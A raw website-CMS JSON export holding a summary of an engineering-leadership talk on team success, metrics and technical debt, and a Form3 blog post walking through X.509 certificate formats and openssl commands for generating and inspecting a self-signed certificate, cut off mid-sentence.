her.",[9812,9815,9818,9822,9826,9828],{"start":17,"end":1342,"type":744,"data":9813},{"link_type":453,"url":9814},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fevelinavrabie\u002F",{"start":2015,"end":476,"type":744,"data":9816},{"link_type":453,"url":9817},"https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Fhopinofficial\u002F",{"start":9819,"end":1242,"type":744,"data":9820},340,{"link_type":453,"url":9821},"https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Ftoucotalks\u002F",{"start":4602,"end":9823,"type":744,"data":9824},442,{"link_type":453,"url":9825},"https:\u002F\u002Fmedium.com\u002Fjump-start",{"start":9823,"end":9827,"type":477},443,{"start":9829,"end":9830,"type":744,"data":9831},472,481,{"link_type":453,"url":9832},"https:\u002F\u002Fctocraft.com\u002F","rich_text$9a175afc-4100-4400-ac0a-12bdce47f855",{"variation":459,"version":460,"items":9835,"primary":9836,"id":9856,"slice_type":479,"slice_label":13},[],{"body":9837},[9838,9841,9844,9847,9850,9853],{"type":465,"text":9839,"spans":9840},"The role of a manager",[],{"type":396,"text":9842,"spans":9843},"Evelina begins by sharing what an engineering manager or leader means to her. Her view is that technical leaders bring their unique perspectives on technology to help the strategic execution of their companies. In practice, that means:",[],{"type":1101,"text":9845,"spans":9846},"Helping find a way to calibrate product and business technical strategy",[],{"type":1101,"text":9848,"spans":9849},"Supporting the generation of new ideas, most often by combining existing technologies to obtain a new result",[],{"type":1101,"text":9851,"spans":9852},"Making tradeoffs and creating a balance portfolio of product\u002Ffeature work and technical debt",[],{"type":396,"text":9854,"spans":9855},"In order to achieve this, leaders have to develop the ability to understand and shape a particular function in a company. In a small startup, leadership roles often span across many areas from product, to technology to finance. In larger companies, leadership roles often become more specialised, but still require an understanding on other functionalities. This can be very difficult to do, as leaders often need to take into account problems that aren't even in the technology domain.",[],"rich_text$c729a97f-3b75-4984-be08-933e436842bf",{"variation":459,"version":460,"items":9858,"primary":9859,"id":9889,"slice_type":479,"slice_label":13},[],{"body":9860},[9861,9864,9867,9870,9874,9878,9882,9886],{"type":465,"text":9862,"spans":9863},"Defining the success of engineering teams",[],{"type":396,"text":9865,"spans":9866},"Evelina believes that the success of an individual or a team needs to start with where they are, their context and their organisation. Understanding the company goals and strategies, as well as the fact that they will be different at different times. There are always multiple successful paths or strategies, each coming at a different cost. Just like in a complex, distributed system, which is never fully healthy, nor is an organisation fully successful. Success is variable, especially in technology startups which are often compared to rollercoasters.",[],{"type":396,"text":9868,"spans":9869},"There are at least four types of success that Evelina has dealt with in her experience as an engineering leader:",[],{"type":582,"text":9871,"spans":9872},"Commercial success: the company is generating enough revenue to justify investment and growth",[9873],{"start":17,"end":905,"type":477},{"type":582,"text":9875,"spans":9876},"Product success: the company is offering products and services without which customers would be truly unhappy",[9877],{"start":17,"end":2000,"type":477},{"type":582,"text":9879,"spans":9880},"Software delivery success: the company delivers these products and services as effectively as possible",[9881],{"start":17,"end":2118,"type":477},{"type":582,"text":9883,"spans":9884},"Cultural\u002Forganisational success: the company offers a workplace where employees feel they belong and work on challenging and rewarding work. This is perhaps the most underrated type of success",[9885],{"start":17,"end":2585,"type":477},{"type":396,"text":9887,"spans":9888},"All of these types of successes and outcomes require engineering leaders to employ different types of measurement metrics.",[],"rich_text$b34a6d49-f53c-4954-9071-ef02c3802db2",{"variation":459,"version":460,"items":9891,"primary":9892,"id":9945,"slice_type":479,"slice_label":13},[],{"body":9893},[9894,9897,9904,9907,9910,9913,9916,9919,9926,9930,9934,9938,9942],{"type":465,"text":9895,"spans":9896},"Measuring the success and productivity of engineering teams",[],{"type":396,"text":9898,"spans":9899},"As we begin to look at measuring software delivery success, Evelina recommends that leaders start by identifying first the problems they need to solve. Then, they can proceed to identifying the outcomes they want to measure. Once these outcomes are identified, they can be placed into a framework like OKRs:",[9900],{"start":9901,"end":2738,"type":744,"data":9902},302,{"link_type":453,"url":9903},"https:\u002F\u002Fwww.whatmatters.com\u002Fget-started",{"type":1101,"text":9905,"spans":9906},"Choose a series of objectives",[],{"type":1101,"text":9908,"spans":9909},"Create a series of key results and initiatives to deliver those objectives",[],{"type":1101,"text":9911,"spans":9912},"Choose a set of metrics to measure progress towards those key results",[],{"type":396,"text":9914,"spans":9915},"As technology leaders, we need to understand things that are outside of technology. One example Evelina gives is understanding the basics of a marketing funnel, when trying to improve the number of users for a service.",[],{"type":396,"text":9917,"spans":9918},"Teams should be heavily involved when setting the success strategy, especially in the metric setting part of the process. The engineers on your team should understand their success metrics very well. Leaders need to understand that their teams never exist in a vacuum and are always affected by factors outside of only technology.",[],{"type":396,"text":9920,"spans":9921},"High performing organisations invest in software delivery success and organisational success. When it comes to organisational success, the folks behind the book \"Accelerate: The Science of Lean Software and DevOps\" have been pushing new research on scaling high performing technology organisations. The whole idea behind this research is to not even start with measuring as a goal, instead we need to ensure that the company has in place at least a dozen key capabilities that are proven to increase both delivery and organisational performance. Evelina lists some common examples of these capabilities:",[9922],{"start":1049,"end":9923,"type":744,"data":9924},214,{"link_type":453,"url":9925},"https:\u002F\u002Fitrevolution.com\u002Faccelerate-book\u002F",{"type":1101,"text":9927,"spans":9928},"Continuous delivery: CI, version control, automated deployments, test automation etc.",[9929],{"start":17,"end":2369,"type":477},{"type":1101,"text":9931,"spans":9932},"Architecture: loosely coupled, test and deploy on demand, empowered teams which can change their tools",[9933],{"start":17,"end":1333,"type":477},{"type":1101,"text":9935,"spans":9936},"Product & Process: continuously gathering customer feedback, ensuring that teams have good visibility into the work flow and the value their deliver, working in small batches",[9937],{"start":17,"end":967,"type":477},{"type":1101,"text":9939,"spans":9940},"Lean management & Monitoring: lightweight change approval process, monitoring across the application, code reviews",[9941],{"start":17,"end":1071,"type":477},{"type":396,"text":9943,"spans":9944},"Once these capabilities are in place, we can begin to choose the metrics that we care about. We need to be careful about how we use these metrics and break them down accordingly as well. No matter how many metrics we know and we employ, Evelina thinks leaders should understand that blockages are not caused by technology and code, they are caused by people.",[],"rich_text$f849af03-1cf3-4fa3-a8a7-aca3b5b80204",{"variation":459,"version":460,"items":9947,"primary":9948,"id":9978,"slice_type":479,"slice_label":13},[],{"body":9949},[9950,9953,9962,9966,9969,9972,9975],{"type":465,"text":9951,"spans":9952},"Anti-patterns",[],{"type":396,"text":9954,"spans":9955},"Evelina recommends the article \"When Incentives Fail. A Story about Rats, Cobras, Nails, and Atrocities\". This article provides many examples from human history of Goodhart's law, which states:",[9956,9959],{"start":2585,"end":1531,"type":744,"data":9957},{"link_type":453,"url":9958},"https:\u002F\u002Fwww.roxanamurariu.com\u002Fwhen-incentives-fail-a-story-about-rats-cobras-nails-and-atrocities\u002F",{"start":4873,"end":607,"type":744,"data":9960},{"link_type":453,"url":9961},"https:\u002F\u002Fen.wikipedia.org\u002Fwiki\u002FGoodhart%27s_law",{"type":396,"text":9963,"spans":9964},"\"When a measure becomes a target, it ceases to be a good measure\"",[9965],{"start":17,"end":1557,"type":477},{"type":396,"text":9967,"spans":9968},"Evelina summarises at least 3 types of anti-patterns:",[],{"type":1101,"text":9970,"spans":9971},"Having metrics for the sake of metrics",[],{"type":1101,"text":9973,"spans":9974},"Having metrics imposed externally",[],{"type":1101,"text":9976,"spans":9977},"Having metrics that are linked to the wrong incentives",[],"rich_text$062213dc-7f16-4be7-afe6-852097a9a345",{"variation":459,"version":460,"items":9980,"primary":9981,"id":10023,"slice_type":479,"slice_label":13},[],{"body":9982},[9983,9986,9992,9996,9999,10002,10006,10009,10012,10015,10018],{"type":465,"text":9984,"spans":9985},"High performance",[],{"type":396,"text":9987,"spans":9988},"Less than half of startups achieve both organisational and delivery success. Evelina points us to The SPACE of Developer Productivity framework, which has the headline:",[9989],{"start":4146,"end":2441,"type":744,"data":9990},{"link_type":453,"url":9991},"https:\u002F\u002Fqueue.acm.org\u002Fdetail.cfm?id=3454124",{"type":396,"text":9993,"spans":9994},"There's more to it than you think.",[9995],{"start":17,"end":1363,"type":477},{"type":396,"text":9997,"spans":9998},"Most technology leaders, which have limited exposure to research, often only emphasise activity metrics, completely disregarding people metrics. The lack of organisational performance leads to loss of productivity, burnout and attrition. Both of these need to be considered if we want to see an impact on performance.",[],{"type":396,"text":10000,"spans":10001},"How do you phrase high performance? Evelina thinks of it as:",[],{"type":396,"text":10003,"spans":10004},"High performance = Workplace satisfaction * Intrinsic motivation",[10005],{"start":17,"end":5013,"type":477},{"type":396,"text":10007,"spans":10008},"As technology leaders, we can focus on providing the two factors to this equation:",[],{"type":1101,"text":10010,"spans":10011},"Workplace satisfaction through meaningful work, psychological safety, good feedback, recognition and reward etc.",[],{"type":1101,"text":10013,"spans":10014},"Intrinsic motivation through coaching other people to increase their own motivation",[],{"type":396,"text":10016,"spans":10017},"Evelina thinks we lack good metrics for measuring the motivation and satisfaction in the technology industry. We often think of happiness as a soft metrics, when in fact happiness at work is directly translatable to revenue because software is written by humans - happy people are motivated to deliver good products that others love!",[],{"type":396,"text":10019,"spans":10020},"The SPACE framework recommends measuring invisible work as well. Aside from activity metrics, we need to look at communication and collaboration, as well as satisfaction and well-being. We need to learn to communicate timely, accurately and succinctly. This is not an art, it's a science. Very few technology companies invest in communication training, which is especially important for fully remote companies.",[10021],{"start":667,"end":2380,"type":744,"data":10022},{"link_type":453,"url":9991},"rich_text$ddcb17fd-bbf7-4544-8fdf-d1e68d672c52",{"variation":459,"version":460,"items":10025,"primary":10026,"id":10052,"slice_type":479,"slice_label":13},[],{"body":10027},[10028,10031,10037,10040,10043,10046],{"type":465,"text":10029,"spans":10030},"Technical debt",[],{"type":396,"text":10032,"spans":10033},"Evelina thinks referring to technical debt by this term diminishes our understanding of it. Technical debt is in fact scale work and risk work. Prioritising technical debt is a Goldilocks problem: doing it too early limits our opportunity to do work and gain the market, while doing it too late will degrade performance, again leading to a loss of market share. We need to find the just right moment. It has at least three steps:",[10034],{"start":10035,"end":10036,"type":780},382,399,{"type":1101,"text":10038,"spans":10039},"Identify the use-case",[],{"type":1101,"text":10041,"spans":10042},"Identify the right outcomes and compare them to other work",[],{"type":1101,"text":10044,"spans":10045},"Set some reasonable thresholds",[],{"type":396,"text":10047,"spans":10048},"Evelina has written an interesting 2-part series on \"Data-driven negotiation with SLIs, SLOs and Error Budgets\", which you can read on her blog.",[10049],{"start":547,"end":2475,"type":744,"data":10050},{"link_type":453,"url":10051},"https:\u002F\u002Fmedium.com\u002Fjump-start\u002Fdata-driven-negotiation-with-slis-slos-and-error-budgets-1-2-8b23603b570e","rich_text$0ca4d695-f0be-4bcc-9dc1-e8258d8f36a1",{"variation":459,"version":460,"items":10054,"primary":10055,"id":10077,"slice_type":479,"slice_label":13},[],{"body":10056},[10057,10059,10062,10065,10068,10071,10074],{"type":465,"text":3730,"spans":10058},[],{"type":396,"text":10060,"spans":10061},"Evelina ends with five highlights for engineering leaders:",[],{"type":1101,"text":10063,"spans":10064},"Expand your knowledge and understanding outside technology",[],{"type":1101,"text":10066,"spans":10067},"Understand where the technology function sits within a company, and how it relates to other functions",[],{"type":1101,"text":10069,"spans":10070},"Combine the different types of engineering success to build a high performing organisation",[],{"type":1101,"text":10072,"spans":10073},"Find the right use-cases, outcomes and metrics, but use them only as a to tell us the trend and the direction we are moving",[],{"type":1101,"text":10075,"spans":10076},"There are two sides of high performance, activity side and the people side",[],"rich_text$16054ef4-370f-4754-a97d-a64c3eb3b977",{"id":10079,"uid":10080,"url":10081,"type":406,"href":10082,"tags":10083,"first_publication_date":9544,"last_publication_date":9067,"slugs":10084,"linked_documents":10086,"lang":386,"alternate_languages":10087,"data":10088},"alz1BBEAACsAUWdw","pki-cert-management","\u002Fresources\u002Fengineering-blog\u002Fpki-cert-management","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz1BBEAACsAUWdw%22%29+%5D%5D",[],[10085],"overview",[],[],{"title":10089,"excerpt":10090,"card_image":10091,"published_date":10096,"reading_time":3400,"tag":427,"dek":10090,"featured_image":10097,"about_form3":10102,"client_about_heading":13,"client_about_body":10103,"author_name":1594,"author_title":1595,"author_photo":10104,"author_bio":10107,"author_linkedin":10112,"slices":10114,"meta_title":10089,"meta_description":10090},"PKI certificate management","I have a rough understanding of PKI certificates, how they work, and what TLS is in general. However, I've always struggled to understand the details, particularly from the point of view of an operator. How do I check if a certificate is valid? How do I check who issued it? What does it even mean to \"issue\" a certificate? To make matters worse, I'm frequently confounded by the variety of different file types used for certificates. Is it a pem, or a crt, or a pub? Speaking of pub, what's the difference between the TLS certificate my server uses to encrypt traffic, and the certificates I use for SSH authentication? In this post, I will answer these questions and then walk though a practical example of using certificates for TLS via a local nginx proxy, modeling the client\u002Fserver TLS you often see on the web.",{"dimensions":10092,"alt":10089,"copyright":13,"url":10093,"id":10094,"edit":10095},{"width":420,"height":420},"\u002F_prismic-media\u002F64456a87781169bc-exE9iXmqKY6s8eet_pki-cert-management.png","exE9iXmqKY6s8eet",{"x":17,"y":17,"zoom":18,"background":19},"2022-08-05",{"dimensions":10098,"alt":13,"copyright":13,"url":10099,"id":10100,"edit":10101},{"width":1270,"height":9083},"\u002F_prismic-media\u002F66ea9aa6b457dac7--yOjR3yIUzRrs2MA_fcbdb2ff-9078-46dd-8b14-191a29f.png","-yOjR3yIUzRrs2MA",{"x":17,"y":17,"zoom":18,"background":19},[],[],{"dimensions":10105,"alt":1594,"copyright":13,"url":1598,"id":1599,"edit":10106},{"width":443,"height":444},{"x":17,"y":17,"zoom":18,"background":424},[10108],{"type":396,"text":1603,"spans":10109},[10110],{"start":1606,"end":1607,"type":744,"data":10111},{"link_type":453,"url":1609,"target":456},{"link_type":453,"key":10113,"url":1612,"target":456},"9894a13a-2eef-4ffd-a6dc-a1a685041efd",[10115,10148,10174,10207,10227,10241,10249,10263,10271,10313,10321,10329,10337,10345,10353,10361,10369,10377,10385,10407,10415,10423,10431,10439,10447,10467,10475,10487,10495,10509,10517,10525,10533,10541,10553,10568,10576,10585,10593,10602,10610,10618,10626,10634,10642,10651,10659,10667,10674,10683,10690,10698,10706,10714,10722,10730,10738,10746,10754,10766,10774,10784],{"variation":459,"version":460,"items":10116,"primary":10117,"id":10147,"slice_type":479,"slice_label":13},[],{"body":10118},[10119,10122,10126,10129,10132,10135,10138,10141,10144],{"type":465,"text":10120,"spans":10121},"Overview",[],{"type":396,"text":10123,"spans":10124},"As I said, I have a very rough understanding, but a lot of gaps.",[10125],{"start":2118,"end":555,"type":780},{"type":396,"text":10127,"spans":10128},"In this post, I will try to explain:",[],{"type":1101,"text":10130,"spans":10131},"The different file formats that can be used to store certificates.",[],{"type":1101,"text":10133,"spans":10134},"How the files are structured, and how they differ from one another.",[],{"type":1101,"text":10136,"spans":10137},"How to generate new certificates, and inspect existing ones, using the openssl command line tool.",[],{"type":1101,"text":10139,"spans":10140},"What a certificate chain is, and how to inspect it.",[],{"type":1101,"text":10142,"spans":10143},"The difference between a TLS certificate and an SSH certificate.",[],{"type":396,"text":10145,"spans":10146},"Hopefully by the end of the post, you'll have a clearer idea of what certificates are, and how to interact with them.",[],"rich_text$39ac6984-4191-4a9d-9d67-95698efc813b",{"variation":459,"version":460,"items":10149,"primary":10150,"id":10173,"slice_type":479,"slice_label":13},[],{"body":10151},[10152,10155,10158,10161,10164,10167,10170],{"type":465,"text":10153,"spans":10154},"An introduction to PKI certificates",[],{"type":396,"text":10156,"spans":10157},"Before we start exploring the different ways PKI certificates can be generated, stored, verified, and used, let's just take a step back and start with an introduction to PKI certificates in general.",[],{"type":396,"text":10159,"spans":10160},"Public Key Infrastructure certificates are most commonly used for securing TCP and HTTP communication via TLS. They are primarily used to:",[],{"type":1101,"text":10162,"spans":10163},"Encrypt end-to-end communication.",[],{"type":1101,"text":10165,"spans":10166},"Establish trust between a client and a server, so that the server's identity can be verified.",[],{"type":396,"text":10168,"spans":10169},"The certificates themselves normally contain metadata about the owner (such as name, location, etc.), as well as a public key used for encryption. The certificate is accompanied by a private key, which makes decryption possible.",[],{"type":396,"text":10171,"spans":10172},"Normally, a PKI certificate manifests as a pair of files on disk. One containing the certificate, and another containing the private key.",[],"rich_text$d6884baf-fae5-43bc-bd33-09c7c712aa7a",{"variation":459,"version":460,"items":10175,"primary":10176,"id":10206,"slice_type":479,"slice_label":13},[],{"body":10177},[10178,10181,10184,10187,10190,10193,10196,10199],{"type":465,"text":10179,"spans":10180},"PKI certificate files",[],{"type":396,"text":10182,"spans":10183},"Most TLS certificates are in fact X.509 certificates. X.509 is a standard for certificate structure which defines which fields are included in the certificate. X.509 certificates can be stored in a variety of different file formats, which is the main cause of my confusion about which file types are used to store certificates.",[],{"type":396,"text":10185,"spans":10186},"The certificate itself is comprised of three parts:",[],{"type":582,"text":10188,"spans":10189},"Information about the certificate, such as the issuer and the distinguished name the certificate is for.",[],{"type":582,"text":10191,"spans":10192},"The public key, used for encrypting data.",[],{"type":582,"text":10194,"spans":10195},"The private key, used for decrypting data.",[],{"type":396,"text":10197,"spans":10198},"Normally, when a certificate is generated, its information and public key are stored in one file (normally just referred to as the certificate), and the private key is stored in another file.",[],{"type":396,"text":10200,"spans":10201},"X.509 certificates are typically stored in base64 encoded ASCII files which use the *.pem, *.crt and *.cer file extensions for the public key portion interchangeably. The private key is typically stored in a file with the *.key file extension. Whenever you see one of these files, you're looking at a base64 encoded X.509 certificate, irrespective of what the file extension might be.",[10202,10203,10204,10205],{"start":640,"end":709,"type":780},{"start":1984,"end":9702,"type":780},{"start":5380,"end":3944,"type":780},{"start":2774,"end":1431,"type":780},"rich_text$fc069231-87b7-497d-8a89-3e7abb05541d",{"variation":459,"version":460,"items":10208,"primary":10209,"id":10226,"slice_type":479,"slice_label":13},[],{"body":10210},[10211,10214,10217,10220,10223],{"type":465,"text":10212,"spans":10213},"Certificate requests",[],{"type":396,"text":10215,"spans":10216},"Before we dive into generating new certificates in the next section, it's worth briefly mentioning what a certificate request is. Certificate requests require a basic understanding of certificate authorities.",[],{"type":396,"text":10218,"spans":10219},"A certificate authority is a reputable company who digitally signs certificates to indicate that they are from a trustworthy source. When a certificate is used for authentication and encryption, its authenticity can be verified by checking that the certificate's signature was generated by the original certificate authority. This verification process is discussed in more detail later in this post.",[],{"type":396,"text":10221,"spans":10222},"Normally, when a new certificate is generated, it is signed by a certificate authority. When generating certificates in this way, the artifacts of the certificate generation process are files which actually represent a certificate request, and not a certificate.",[],{"type":396,"text":10224,"spans":10225},"The certificate request is sent to the certificate authority, who returns a signed certificate which is ready to use. When experimenting with certificate generation locally, this certificate request and signing step can be skipped, and a certificate can be generated directly with no signing. This is known as a self-signed certificate, which is perfectly usable, but would fail certificate verification checks as no trusted authority has signed it. More on this later.",[],"rich_text$e7620f60-0611-4ee0-8960-1ae33d6e06ec",{"variation":459,"version":460,"items":10228,"primary":10229,"id":10240,"slice_type":479,"slice_label":13},[],{"body":10230},[10231,10234,10237],{"type":465,"text":10232,"spans":10233},"Generating and inspecting certificates with openssl",[],{"type":396,"text":10235,"spans":10236},"New X.509 certificates can be generated using the openssl command line tool. Parameters for certificate generation can be provided via command line arguments, interactive responses, or via a config file.",[],{"type":396,"text":10238,"spans":10239},"For this example, we will start with the following config file:",[],"rich_text$6572940c-f24e-46c7-8f22-4374250f6193",{"variation":459,"version":460,"items":10242,"primary":10243,"id":10248,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":10244},[10245],{"type":563,"text":10246,"spans":10247},"$ cat \u003C\u003C EOF > openssl.conf\n[req]\ndistinguished_name=distinguished_name\nprompt=no\n\n[distinguished_name]\ncountryName=UK\nlocalityName=London\norganizationName=Form3\ncommonName=localhost\nEOF",[],"code_block$36802fca-8717-4d69-803f-5ac289588abf",{"variation":459,"version":460,"items":10250,"primary":10251,"id":10262,"slice_type":479,"slice_label":13},[],{"body":10252},[10253,10259],{"type":396,"text":10254,"spans":10255},"The distinguished name in this configuration identifies the owner of the certificate. As well as containing things like organisation name and location, the distinguished name also includes the Common Name. This is the hostname at which the certificate will be used, and forms an important part of certificate verification. In this case, the certificate we're generating could only be used to encrypt traffic on localhost.",[10256],{"start":10257,"end":10258,"type":780},411,420,{"type":396,"text":10260,"spans":10261},"Then, we can use openssl to generate a new X.509 certificate with the following:",[],"rich_text$9ca6ceda-5800-4cb1-85dd-0005470b5a74",{"variation":459,"version":460,"items":10264,"primary":10265,"id":10270,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":10266},[10267],{"type":563,"text":10268,"spans":10269},"$ openssl req -x509 -nodes -newkey rsa:4096 -keyout private.key -out certificate.pem -config openssl.conf",[],"code_block$b092b2ce-9327-43f6-84db-c10ad03fd960",{"variation":459,"version":460,"items":10272,"primary":10273,"id":10312,"slice_type":479,"slice_label":13},[],{"body":10274},[10275,10278,10282,10286,10290,10294,10298,10302,10306,10309],{"type":396,"text":10276,"spans":10277},"Let's just examine each of the command line arguments:",[],{"type":1101,"text":10279,"spans":10280},"req: this command creates and processes certificate requests.",[10281],{"start":17,"end":1105,"type":780},{"type":1101,"text":10283,"spans":10284},"-x509: generate an X.509 certificate that is self-signed, as opposed to a certificate request that would need to be signed by a certificate authority.",[10285],{"start":17,"end":672,"type":780},{"type":1101,"text":10287,"spans":10288},"-nodes: do not encrypt the private key.",[10289],{"start":17,"end":3400,"type":780},{"type":1101,"text":10291,"spans":10292},"-newkey rsa:4096: indicates that a new certificate request and private key should be generated, and that the RSA algorithm should be used with a key length of 4096 bits.",[10293],{"start":17,"end":595,"type":780},{"type":1101,"text":10295,"spans":10296},"-keyout private.key: the file to write the private key to.",[10297],{"start":17,"end":2369,"type":780},{"type":1101,"text":10299,"spans":10300},"-out certificate.pem: the file to write the certificate and public key to.",[10301],{"start":17,"end":3298,"type":780},{"type":1101,"text":10303,"spans":10304},"-config openssl.conf: the config file to use for certificate parameters.",[10305],{"start":17,"end":3298,"type":780},{"type":396,"text":10307,"spans":10308},"The result of this command is two files: a private key, and a certificate file containing a public key.",[],{"type":396,"text":10310,"spans":10311},"The certificate looks like this:",[],"rich_text$f1b941c6-60c6-4cf0-8d01-adeb440cdf78",{"variation":459,"version":460,"items":10314,"primary":10315,"id":10320,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":10316},[10317],{"type":563,"text":10318,"spans":10319},"$ cat certificate.pem\n-----BEGIN CERTIFICATE-----\nMIIE2DCCAsACCQCZfiGwlnUbgDANBgkqhkiG9w0BAQsFADAuMQswCQYDVQQGEwJV\nSzEPMA0GA1UEBwwGTG9uZG9uMQ4wDAYDVQQKDAVGb3JtMzAeFw0yMjA0MjcxNTU1\n...\nqjgSTJpltmuAUl2qYvo8ZV9RFnhUKPk3e1ntJMWA1rvhaHaClTLUK9hUTGVuj\u002FeL\n5xNkbEKS\u002FbwwCJQNdmgdyKeTa7ntJYdxiXMClemcJZiFQup3WBtWzEueaxI=\n-----END CERTIFICATE-----",[],"code_block$51339e36-ec41-4317-9bd1-a2bccc6a7e3a",{"variation":459,"version":460,"items":10322,"primary":10323,"id":10328,"slice_type":479,"slice_label":13},[],{"body":10324},[10325],{"type":396,"text":10326,"spans":10327},"The private key looks like this:",[],"rich_text$b356d394-a6e7-410f-a2c6-92daa625fccd",{"variation":459,"version":460,"items":10330,"primary":10331,"id":10336,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":10332},[10333],{"type":563,"text":10334,"spans":10335},"$ cat private.key\n-----BEGIN ENCRYPTED PRIVATE KEY-----\nMIIJnzBJBgkqhkiG9w0BBQ0wPDAbBgkqhkiG9w0BBQwwDgQI\u002FSQlNhidF\u002FECAggA\nMB0GCWCGSAFlAwQBKgQQ\u002FKqcoZLt2nrZYniObOZRFgSCCVA6GDSvQpmzr7sg40GU\n...\nvAPV8WR\u002FFIzEHL4hzfgFq1PHXy\u002F1dTwgpJRW3Idfigcv9PNC4s\u002FO980DztdUXEnp\nk1v\u002F0kZuvPGMLRpRUhhNlOOfSw==\n-----END ENCRYPTED PRIVATE KEY-----",[],"code_block$9fd808eb-e9e8-44cc-84ba-0088c33c7ecd",{"variation":459,"version":460,"items":10338,"primary":10339,"id":10344,"slice_type":479,"slice_label":13},[],{"body":10340},[10341],{"type":396,"text":10342,"spans":10343},"Now that we've successfully generated a certificate and private key, we can inspect these files as follows:",[],"rich_text$f46cf548-7c7d-4142-a515-3a2d704ca8a7",{"variation":459,"version":460,"items":10346,"primary":10347,"id":10352,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":10348},[10349],{"type":563,"text":10350,"spans":10351},"$ openssl x509 -in certificate.pem -text\nCertificate:\n    Data:\n        Version: 1 (0x0)\n        Serial Number: 11060314777190734720 (0x997e21b096751b80)\n    Signature Algorithm: sha256WithRSAEncryption\n        Issuer: C=UK, L=London, O=Form3, CN=localhost\n        Validity\n            Not Before: Apr 27 15:55:58 2022 GMT\n            Not After : May 27 15:55:58 2022 GMT\n        Subject: C=UK, L=London, O=Form3, CN=localhost\n        Subject Public Key Info:\n            Public Key Algorithm: rsaEncryption\n                Public-Key: (4096 bit)\n                Modulus:\n                    00:d1:8a:f1:90:4e:0c:26:35:ce:8a:60:f7:a2:01:\n                    3a:41:6f:b4:1e:4a:9c:1d:f8:80:72:2d:a3:dd:4d:\n...",[],"code_block$e6163a9e-7f27-4010-ad86-90048c73ae64",{"variation":459,"version":460,"items":10354,"primary":10355,"id":10360,"slice_type":479,"slice_label":13},[],{"body":10356},[10357],{"type":396,"text":10358,"spans":10359},"Here you can see the issuer, validity, and algorithm of the public key. Similarly, the private key can be inspected with:",[],"rich_text$ef15abe9-ad07-4e17-8302-fe34bffff62f",{"variation":459,"version":460,"items":10362,"primary":10363,"id":10368,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":10364},[10365],{"type":563,"text":10366,"spans":10367},"$ openssl rsa -in private.key -text\nEnter pass phrase for key.pem:\nPrivate-Key: (4096 bit)\nmodulus:\n    00:ef:f1:21:a1:cb:7e:ee:c9:3d:4c:44:d7:87:10:\n    dc:a1:2e:9d:1f:f4:9a:86:d5:1a:4a:5f:43:0b:7a:\n...",[],"code_block$374b0418-edba-4d64-b298-c872eda9a7cf",{"variation":459,"version":460,"items":10370,"primary":10371,"id":10376,"slice_type":479,"slice_label":13},[],{"body":10372},[10373],{"type":396,"text":10374,"spans":10375},"Checking the private key yields less useful information (for an operator, at least), but you can also check the consistency of the key using:",[],"rich_text$558d8daa-d53d-470b-8dcf-af4a07ec1623",{"variation":459,"version":460,"items":10378,"primary":10379,"id":10384,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":10380},[10381],{"type":563,"text":10382,"spans":10383},"$ openssl rsa -in private.key -check",[],"code_block$c1ea6286-6598-4d9b-b1ff-0a9b07f1df1c",{"variation":459,"version":460,"items":10386,"primary":10387,"id":10406,"slice_type":479,"slice_label":13},[],{"body":10388},[10389,10392,10396,10399,10403],{"type":465,"text":10390,"spans":10391},"Certificate chains",[],{"type":396,"text":10393,"spans":10394},"In order to verify the authenticity of certificates, it's necessary to inspect the issuer (or certificate authority) of a certificate. In the example above, the distinguished name of the issuer is C=UK, L=London, O=Form3, CN=localhost. This distinguished name identifies the certificate authority, who must be trusted in order for the authenticity of a certificate to be verified.",[10395],{"start":8032,"end":2478,"type":780},{"type":396,"text":10397,"spans":10398},"The certificate authority has a root certificate, which is used to generate a signature for each certificate that it issues. Combining the signature of a certificate with the public key of the issuer's root certificate allows a signature to be verified. Sometimes this is as simple as combining the signature\u002Fkey of an issued certificate and a root certificate, and sometimes there are intermediate certificates between the issued certificate you're verifying and the ultimate root certificate. Intermediate certificates are typically also issued by the certificate authority, but with a shorter expiry time. This makes them less vulnerable to compromise, and easy to rotate and revoke.",[],{"type":396,"text":10400,"spans":10401},"On a Linux operating system, a list of root certificates can be found in \u002Fetc\u002Fssl\u002Fcerts. Each certificate authority is represented by its own root certificate, which can be inspected in the same way we inspected the certificate we generated earlier.",[10402],{"start":714,"end":3671,"type":780},{"type":396,"text":10404,"spans":10405},"For example, inspecting the GoDaddy root certificate looks something like this:",[],"rich_text$7601e06a-593a-4f1b-aff3-7c1200dfa104",{"variation":459,"version":460,"items":10408,"primary":10409,"id":10414,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":10410},[10411],{"type":563,"text":10412,"spans":10413},"$ openssl x509 -in \u002Fetc\u002Fssl\u002Fcerts\u002FGo_Daddy_Root_Certificate_Authority_-_G2.pem -text\nCertificate:\n    Data:\n        Version: 3 (0x2)\n        Serial Number: 0 (0x0)\n        Signature Algorithm: sha256WithRSAEncryption\n        Issuer: C = US, ST = Arizona, L = Scottsdale, O = \"GoDaddy.com, Inc.\", CN = Go Daddy Root Certificate Authority - G2\n        Validity\n            Not Before: Sep  1 00:00:00 2009 GMT\n            Not After : Dec 31 23:59:59 2037 GMT\n        Subject: C = US, ST = Arizona, L = Scottsdale, O = \"GoDaddy.com, Inc.\", CN = Go Daddy Root Certificate Authority - G2\n        Subject Public Key Info:\n            Public Key Algorithm: rsaEncryption\n                RSA Public-Key: (2048 bit)\n                Modulus:\n                    00:bf:71:62:08:f1:fa:59:34:f7:1b:c9:18:a3:f7:\n                    80:49:58:e9:22:83:13:a6:c5:20:43:01:3b:84:f1:\n                    e6:85:49:9f:27:ea:f6:84:1b:4e:a0:b4:db:70:98:\n...",[],"code_block$3d08c7bc-5a08-4603-9789-2dc32744f613",{"variation":459,"version":460,"items":10416,"primary":10417,"id":10422,"slice_type":479,"slice_label":13},[],{"body":10418},[10419],{"type":396,"text":10420,"spans":10421},"We can tell this is a root certificate, because the certificate was used to sign itself. We can verify this self-signed signature as 